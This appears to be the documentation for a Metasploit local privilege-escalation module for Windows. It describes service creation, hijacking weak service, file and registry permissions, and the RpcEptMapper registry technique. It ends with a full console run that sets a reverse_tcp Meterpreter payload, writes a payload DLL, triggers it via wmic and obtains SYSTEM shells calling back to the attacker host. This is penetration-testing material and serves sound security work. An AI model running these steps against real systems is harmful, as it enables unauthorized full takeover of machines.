This module attempts to exploit existing administrative privileges to obtain a SYSTEM session. If directly creating a
service fails, this module will inspect existing services to look for insecure configuration, file or registry
permissions that may be hijacked. It will then attempt to restart the replaced service to run the payload. This will
result in a new session when this succeeds.

## Escalation Techniques
This module attempts the following techniques to execute a payload as SYSTEM. All techniques involve writing artifacts
to disk on the target system.

### Technique: New Service Creation
The module will attempt to create a new service. This generally will not work unless the session is running as a user
with elevated privileges (such as Local Administrator) that are sufficient to create new services.

### Technique: Weak Service Permissions
The module will attempt to make changes to an existing service. This enumerates existing services and checks for the
permissions to edit each one. When one is found, the service is updated to execute a payload.

### Technique: Weak File System Permissions
The module will examine the file system permissions of the executable associated with each existing service. If one is
found where the user has write access, the module will leverage it to execute a payload in place of the original service
executable.

### Technique: Weak Registry Permissions
The module will check the permissions on each service's respective registry entries. It will then attempt to create a
`Performance` key where it can add values necessary to force a DLL to be loaded. Once completed, a WMI query is executed
to trigger the payload. This technique was originally discovered by Clément Labro and disclosed in the blog [Windows
RpcEptMapper Service Insecure Registry Permissions EoP](https://itm4n.github.io/windows-registry-rpceptmapper-eop/) on
November 12th, 2020.

**This technique notably affects default and fully patched installations of Windows 7 and Server 2008 R2.** Users should
either set the `TargetServiceName` option to `rpceptmapper` or enable the `AGGRESSIVE` option in this case. Without one
of these settings, it's possible the module may find an affected service other than the RpcEptMapper which may not yield
a session with elevated privileges. For an example, see the scenario below.

## Vulnerable Application

This technique is applicable to any version of Windows. A vulnerable installation however typically involves third-party
software that installs a service with insecure permissions. Furthermore, a user with Local Administrator privileges can
leverage this module to escalate to system by creating a new service.

## Verification Steps
Example steps in this format (is also in the PR):

1. Install the application
1. Start msfconsole
1. Do: `use [module path]`
1. Do: `run`
1. You should get a shell.

## Options

### AGGRESSIVE
Exploit as many services as possible (dangerous). When enabled, the module will continue to check for additional
services even after a vulnerable one has been found.

### TargetServiceName
The name of a specific service to target. This can be used to avoid targeting all available services in the case where
the module user wants to target a specific one. When specified, the service name is compared to others in a
case-insensitive manner per the [`CreateServiceA`][CreateServiceA] documentation.

## Scenarios
Specific demo of using the module that might be useful in a real world scenario.

### Windows 7 SP1 x64 (Weak Registry Permissions Technique)

```
msf6 exploit(windows/local/service_permissions) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN-9NSI4A6AIHJ\aliddle
meterpreter > sysinfo
Computer        : WIN-9NSI4A6AIHJ
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > getsystem
[-] 2001: Operation failed: This function is not supported on this system. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/local/service_permissions) > set SESSION -1
SESSION => -1
msf6 exploit(windows/local/service_permissions) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/service_permissions) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(windows/local/service_permissions) > set TargetServiceName rpceptmapper
TargetServiceName => rpceptmapper
msf6 exploit(windows/local/service_permissions) > set VERBOSE true
VERBOSE => true
msf6 exploit(windows/local/service_permissions) > show options

Module options (exploit/windows/local/service_permissions):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   AGGRESSIVE  false            no        Exploit as many services as possible (dangerous)
   SESSION     -1               yes       The session to run this module on.
   TIMEOUT     10               yes       Timeout for WMI command in seconds


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.159.128  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/local/service_permissions) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Trying to find weak permissions in existing services..
[-] Request Error 3014: Operation failed: Access is denied. falling back to registry technique
[*] [RpcEptMapper] Checking for weak file permissions
[-] The operation completed successfully.: C:\Windows\system32\svchost.exe
[*] [RpcEptMapper] Checking for weak service permissions
[*] [RpcEptMapper] Could not open service. OpenServiceA error: Access is denied.
[*] [RpcEptMapper] Checking for weak registry permissions
[+] [RpcEptMapper] Created registry key: HKLM\System\CurrentControlSet\Services\RpcEptMapper\Performance
[*] [RpcEptMapper] Writing payload DLL to C:\Users\aliddle\AppData\Local\Temp\njabikLo.dll
[*] [RpcEptMapper] Triggering the payload via WMI...
[*] [localhost] wmic /output:CLIPBOARD /INTERACTIVE:off /node:localhost Path Win32_Perf Get
[*] Sending stage (200262 bytes) to 192.168.159.61
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.61:50169) at 2020-11-19 12:23:41 -0500
[*] Sending stage (200262 bytes) to 192.168.159.61
[*] Meterpreter session 3 opened (192.168.159.128:4444 -> 192.168.159.61:50170) at 2020-11-19 12:23:41 -0500
[*] Sending stage (200262 bytes) to 192.168.159.61
[*] Meterpreter session 4 opened (192.168.159.128:4444 -> 192.168.159.61:50171) at 2020-11-19 12:23:42 -0500
[*] Sending stage (200262 bytes) to 192.168.159.61
[*] Meterpreter session 5 opened (192.168.159.128:4444 -> 192.168.159.61:50172) at 2020-11-19 12:23:42 -0500
[*] Sending stage (200262 bytes) to 192.168.159.61
[*] Meterpreter session 6 opened (192.168.159.128:4444 -> 192.168.159.61:50173) at 2020-11-19 12:23:42 -0500
[*] Sending stage (200262 bytes) to 192.168.159.61
[+] Deleted C:\Users\aliddle\AppData\Local\Temp\njabikLo.dll
[*] Meterpreter session 7 opened (192.168.159.128:4444 -> 192.168.159.61:50174) at 2020-11-19 12:23:43 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

[CreateServiceA]: https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-createservicea
